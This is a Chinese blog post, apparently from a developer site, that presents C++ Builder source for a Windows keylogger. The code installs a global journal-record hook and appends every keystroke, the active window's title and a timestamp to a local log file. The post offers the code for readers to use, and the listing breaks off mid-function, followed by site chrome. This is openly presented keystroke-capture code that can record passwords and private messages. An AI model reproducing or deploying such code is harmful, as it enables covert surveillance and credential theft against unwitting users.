记录键盘的动作和敲击按键时的时间

 

日志钩子代码如下,你慢慢品味吧: 

//-----------.cpp文件

//---------------------------------------------------------------------------

#include <vcl.h>

#include <stdio.h>

#pragma hdrstop

#include "KeyHookU.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

#pragma resource "*.dfm"

TfrmLogHook *frmLogHook;

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);

//钩子变量

HHOOK g_hLogHook=NULL;

//记录上一次得到焦点的窗口句柄

HWND g_hLastFocus=NULL;

//键盘掩码变量

const int KeyPressMask=0x80000000;

//保存上一次按键值

//char g_PrvChar;

//---------------------------------------------------------------------------

__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)

        : TForm(Owner)

{

}

//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)

{

        if(g_hLogHook==NULL)

                //安装日志钩子

                g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);

}

//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)

{

        if(g_hLogHook!=NULL)

        {

                UnhookWindowsHookEx(g_hLogHook);

                g_hLogHook=NULL;

        }

}

//---------------------------------------------------------------------------

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)

{

        if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

        if(iCode==HC_ACTION)

        {

                EVENTMSG* pEvt=(EVENTMSG*)lParam;

                int i;

                HWND hFocus;//保存当前活动窗口句柄

                char szTitle[256];//当前窗口名称

                char szTime[128];//当前的日期和时间

                FILE* stream=fopen("h://usr//logfile.txt","a+");

                if(pEvt->message==WM_KEYDOWN)

                {

                        int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值

                        char ch;

                        char str[10];

                        hFocus=GetActiveWindow();

                        if(g_hLastFocus!=hFocus)

                        {

                                GetWindowText(hFocus,szTitle,256);

                                g_hLastFocus=hFocus;

                                strcpy(szTime,DateTimeToStr(Now()).c_str());

                                fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);

                                fprintf(stream,"%c%c",32,32);

                        }

                        int iShift=GetKeyState(0x10);

                        int iCapital=GetKeyState(0x14);

                        int iNumLock=GetKeyState(0x90);

                        bool bShift=(iShift&KeyPressMask)==KeyPressMask;

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值